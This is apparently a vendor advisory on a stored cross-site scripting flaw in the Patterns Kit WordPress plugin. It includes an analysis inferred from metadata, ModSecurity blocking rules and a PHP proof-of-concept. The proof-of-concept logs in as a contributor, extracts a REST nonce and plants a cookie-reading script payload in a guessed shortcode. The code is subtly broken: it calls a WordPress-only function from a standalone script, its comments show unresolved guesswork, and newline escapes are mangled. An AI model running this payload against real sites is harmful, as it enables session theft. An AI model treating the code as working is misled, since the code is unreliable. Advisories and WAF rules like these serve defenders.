Atomic Edge analysis of CVE-2026-15249 (metadata-based): This is an authenticated Stored Cross-Site Scripting vulnerability in the Patterns Kit WordPress plugin, affecting versions up to and including 1.0.3. A contributor-level user or higher can inject arbitrary web scripts into pages, which execute when any user (including administrators) views the injected page. The CVSS score is 6.4, reflecting a network vector, low privileges required, no user interaction, scope change, and low confidentiality and integrity impact. No patched version is available.
Root Cause: The vulnerability is classified as CWE-79, Improper Neutralization of Input During Web Page Generation. Based on the description, the plugin fails to sanitize user-supplied input on save and lacks output escaping on display. Atomic Edge research infers that a plugin shortcode, block, or pattern editor field associated with user-controlled attributes is responsible. The vulnerable code likely registers a shortcode or custom block that accepts attributes and renders them directly into HTML without applying esc_attr(), esc_html(), or wp_kses_post() as appropriate. The exact vulnerable parameter and rendering context remain unconfirmed because no source code is available.
Exploitation: An attacker with contributor-level access creates or edits a post containing the malicious shortcode or block. The payload could be placed in an attribute value, such as [patterns_kit_element title=”alert(document.cookie)”], or in pattern content depending on the plugin’s handling. When the post is previewed or published and subsequently viewed by an administrator or any site visitor, the injected JavaScript executes in their browser. The attack requires authentication but no further interaction beyond page viewing. The CVSS vector confirms network accessibility, low privileges, and no user interaction.
Remediation: The fix must ensure that all input is sanitized on save using functions such as sanitize_text_field(), wp_kses_post(), or esc_attr() for the specific context, and that all output is escaped at the point of rendering using esc_attr(), esc_html(), or wp_kses() with an allowlist. The vulnerable shortcode/block handler should validate and sanitize attributes before storage. Since no patch is available, site owners should restrict contributor access, audit existing posts for injected content, and consider disabling the plugin until a fix is released.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s session. This can lead to session hijacking, theft of authentication cookies, modification of page content, redirection to malicious sites, and potentially privilege escalation if an administrator is targeted. The scope change in the CVSS vector indicates the attack can affect resources beyond the vulnerable component, such as the entire WordPress site or user accounts.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-15249 (metadata-based)
# This rule targets the likely stored XSS vector via the Patterns Kit shortcode or block attribute.
# Since the exact parameter is unknown, we block requests containing script tags in any parameter
# sent to admin-ajax.php or the REST API for post creation, but only when the Patterns Kit plugin
# is likely involved. To avoid false positives, we scope to admin-ajax.php with action parameters
# that might be used by the plugin, and to the REST API posts endpoint.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202615249,phase:2,deny,status:403,chain,msg:'CVE-2026-15249 via Patterns Kit AJAX action',severity:'CRITICAL',tag:'CVE-2026-15249'"
SecRule ARGS_POST:action "@rx ^patterns_kit_" "chain"
SecRule ARGS "@detectXSS" "t:none"
SecRule REQUEST_URI "@streq /wp-json/wp/v2/posts"
"id:202615250,phase:2,deny,status:403,chain,msg:'CVE-2026-15249 via REST API post creation with Patterns Kit shortcode',severity:'CRITICAL',tag:'CVE-2026-15249'"
SecRule REQUEST_BODY "@detectXSS" "chain"
SecRule REQUEST_BODY "@contains [patterns_kit" "t:none"
SecRule REQUEST_URI "@streq /wp-json/wp/v2/pages"
"id:202615251,phase:2,deny,status:403,chain,msg:'CVE-2026-15249 via REST API page creation with Patterns Kit shortcode',severity:'CRITICAL',tag:'CVE-2026-15249'"
SecRule REQUEST_BODY "@detectXSS" "chain"
SecRule REQUEST_BODY "@contains [patterns_kit" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-15249 - Patterns Kit <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
// This PoC assumes the following:
// 1. WordPress is installed at $target_url.
// 2. A contributor-level account exists with credentials $username/$password.
// 3. The Patterns Kit plugin is active and registers a shortcode or block that is vulnerable.
// Since the exact parameter is unknown, this script uses a generic approach: it creates a post
// with a shortcode attribute containing a script payload. Adjust the shortcode name and
// attribute based on the plugin's documentation or source code.
$target_url = 'http://example.com'; // Change to your target WordPress site
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password
// Payload: inject a script tag into a shortcode attribute.
// The shortcode name (patterns_kit) and attribute (title) are guesses based on plugin slug.
// If the plugin uses a block, adjust the post content to use the block markup instead.
$payload = '<script>alert(document.cookie);</script>';
$shortcode = sprintf('[patterns_kit_element title="%s"]', $payload);
// Step 1: Log in as contributor to obtain authentication cookies.
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => admin_url(),
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch));
}
curl_close($ch);
// Step 2: Create a new post with the malicious shortcode as contributor.
// WordPress REST API requires nonce for cookie authentication; alternatively use admin-ajax.php.
// We use the classic post creation via wp-admin/post.php with a nonce? That is complex.
// Simpler: use the REST API with cookie auth and nonce. But for PoC, we use admin-ajax.php
// to create a draft post? Not standard.
// Instead, we use the WordPress REST API (wp-json/wp/v2/posts) with cookie authentication.
// Contributors can create posts. We need a nonce for cookie auth; fetch it from admin page.
$admin_url = rtrim($target_url, '/') . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);
// Extract the nonce from the admin page (usually in a JavaScript variable).
preg_match('/wpApiSettings = {"root":"[^"]+","nonce":"([^"]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
die('Could not extract REST API nonce. Ensure admin page is accessible.');
}
$nonce = $matches[1];
// Step 3: Send POST request to create a post with the payload.
$api_url = rtrim($target_url, '/') . '/wp-json/wp/v2/posts';
$post_data = [
'title' => 'Atomic Edge XSS PoC',
'content' => $shortcode,
'status' => 'draft' // Contributors can only create drafts.
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Post creation failed: ' . curl_error($ch));
}
curl_close($ch);
$result = json_decode($response, true);
if (isset($result['id'])) {
echo 'Post created with ID: ' . $result['id'] . "n";
echo 'Payload injected: ' . $shortcode . "n";
echo 'When an administrator views the post preview, the script executes.' . "n";
} else {
echo 'Failed to create post. Response: ' . $response . "n";
}
// Note: This PoC is for educational purposes only. Use only on systems you own or have permission to test.
?>